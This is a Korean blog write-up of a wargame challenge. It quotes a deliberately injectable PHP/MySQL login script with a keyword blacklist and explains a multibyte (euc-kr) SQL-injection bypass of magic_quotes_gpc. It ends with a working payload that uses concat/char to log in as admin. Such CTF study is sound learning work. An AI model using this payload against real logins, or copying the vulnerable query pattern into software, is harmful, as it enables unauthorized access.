ID 와 PW를 입력하여 로그인하는 간단한 폼이 존재한다.
소스를 확인해보자.
<?
$pw="?????";
if($_GET[id] && $_GET[pw])
{
$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');
$data=@mysql_fetch_array(mysql_query("select id from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));
if(eregi("admin",$_GET[id])) exit();
if(eregi("from",$_GET[id])) exit();
if(eregi("union",$_GET[id])) exit();
if(eregi("limit",$_GET[id])) exit();
if(eregi("union",$_GET[pw])) exit();
if(eregi("pw",$_GET[pw])) exit();
if(eregi("=",$_GET[pw])) exit();
if(eregi(">",$_GET[pw])) exit();
if(eregi("<",$_GET[pw])) exit();
if($data)
{
echo("hi $data[0]<br><br>");
if($data[0]=="admin") @solve();
}
중간부분쯤에 $_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');
라는 부분이 존재한다. 멀티바이트 취약점 문제이다.
해당 함수에는 취약점이 존재한다.
싱글쿼터(%27) 앞에 %aa 와 같은 값을 넣어주게 되면 magic_quotes_gpc 의 영향을 받지 않고
싱글쿼터를 사용할 수 있다. (멀티바이트의 범위 : %a1 ~ %fe)
위의 소스상에서는 admin 이라는 문자열도 필터링을 하고 있으므로
concat+char 을 이용하여 우회한다.
최종 페이로드 : id=guest%aa%27 or id in(concat(char(97),char(100),char(109),char(105),char(110)))%23
많은 워게임들이 해당 취약점을 대상으로한 문제들을 출제하고 있어서 쉽게 풀 수 있었다.
PS. 풀당시에 =도 필터링하는것으로 보고 in을 이용하여 우회했었는데 pw 부분에서만 필터링하고 있었다..
'Wargame(CTF)' 카테고리의 다른 글
Challenge 13 (0) | 2014.06.15 |
---|---|
Challenge 57 (0) | 2014.06.12 |
Challenge 51 (0) | 2014.06.10 |
Challenge 55 (0) | 2014.06.08 |
[Suninatas] Level 28 (0) | 2014.05.13 |